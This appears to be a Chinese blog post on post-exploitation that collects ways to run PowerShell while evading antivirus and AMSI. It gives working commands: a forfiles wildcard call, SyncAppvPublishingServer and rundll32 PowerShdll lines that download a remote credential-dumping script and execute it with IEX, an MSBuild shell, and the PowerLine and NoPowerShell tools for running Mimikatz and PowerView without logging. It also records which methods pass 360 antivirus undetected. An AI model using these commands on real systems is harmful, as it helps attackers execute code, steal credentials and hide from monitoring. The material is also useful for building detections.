[后渗透]多姿势绕过 Powershell 调用保护

0x01 简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。由于 powershell 的特性,使得它很受渗透测试爱好者的喜爱,当然也催生了像 ASMI 之类的防御手段,当然各类杀软也是把它纳入了查杀行列中,只要你调用 PS 就会查杀,今天列举一些可以绕过其检测规则的一些姿势,主要可以粗略分为两大类,首先是绕过AV的检测规则,其次是换一个方式执行类似 PowerShell 的操作

0x02 绕过本地调用

2.1 模糊搜索调用

forfiles 是一款 windows 平台的软件工具,其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。

在 cmd 终端中,借用 forfiles 调用 powershell :

forfiles /p %COMSPEC:~0,19% /s /c "@file" /m po*l.*e

有需求的话,也可以同时添加 powershell 的指令参数,以实现不同的参数功能,这里以-c参数举例:

forfiles /p %COMSPEC:~0,19% /s /c "cmd /c @file -c get-host" /m po*l.*e 

2.2 编译命令程序

用c++的system函数库去调用(待完善):

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell");
return 0;
}

2.3 SyncAppvPublishingServer

SyncAppvPublishingServer是win10自带的服务,有vbs和exe两个版本,我们可以使用他们来做一些类似PS的操作

默认存放在C:\Windows\System32下面:

#弹计算器
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”

#访问端口
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"

#远程下载并执行powershell
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"

2.4 调用MSBuild

MSBuild是.Net框架中包含的工具,用于自动化创建软件产品的过程,包括编译源代码,打包,测试,部署和创建文档。Msbuild依赖于.csproj文件,该文件具有XML语法,包含了.NET构建过程中的结果

github上有此类项目:https://github.com/Cn33liz/MSBuildShell.git

执行完之后会获得一个交互式的PS:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj

2.5 调用cscript

三好师傅:http://www.mottoin.com/detail/1961.html

0x03 非Powershell执行

3.1 PowerLine

PowerLine是一款由c#编写的工具,支持本地命令行调用和远程调用,可以在不直接调用PowerShell的情况下调用PowerShell脚本

下载地址:https://github.com/fullmetalcache/PowerLine

首先拉取项目到本地,然后运行build.bat文件:

./build.bat

然后在 UserConf.xml 文件中填写你所需要调用的 powershell 脚本的地址,默认自带 powerup、powerview、Mimikatz 等,只要按照他给定的格式加入你的 ps 脚本地址即可:

加入完成以后,运行 PLBuilder.exe 进行构建,构建过程中,360 无提示。查看内置的脚本 PowerLine.exe -ShowScripts:

3.2 PowerShdll

这个工具主要使用 dll 去运行 powershell 而不需要去连接 powershell.exe ,所以具有一定的 bypassAV 能力,当然它也可以在这几个程序下运行 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 或者使用作者给出的单独的 exe 进行执行

下载地址:https://github.com/p3nt4/PowerShdll

#exe版
PowerShdll -i   #进入到交互模式

#dll版  360可以查杀到
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;

3.3 Nopowershell

NoPowerShell 是用C#实现的工具,它支持执行类似PowerShell的命令,同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。

下载地址:https://github.com/bitsadmin/nopowershell

./NoPowerShell.exe(过360)

rundll32 NoPowerShell64.dll(被查杀)

这里要注意一点的是,cs的cna脚本默认调用 scripts 下的文件,国内的cs大多为 script 目录,自行修改文件内的目录即可。

参考链接

无powershell运行powershell方法总结
http://www.mottoin.com/detail/1961.html

posted @ 2020-04-13 17:12  肖洋肖恩、  阅读(2998)  评论(1编辑  收藏  举报
jQuery火箭图标返回顶部代码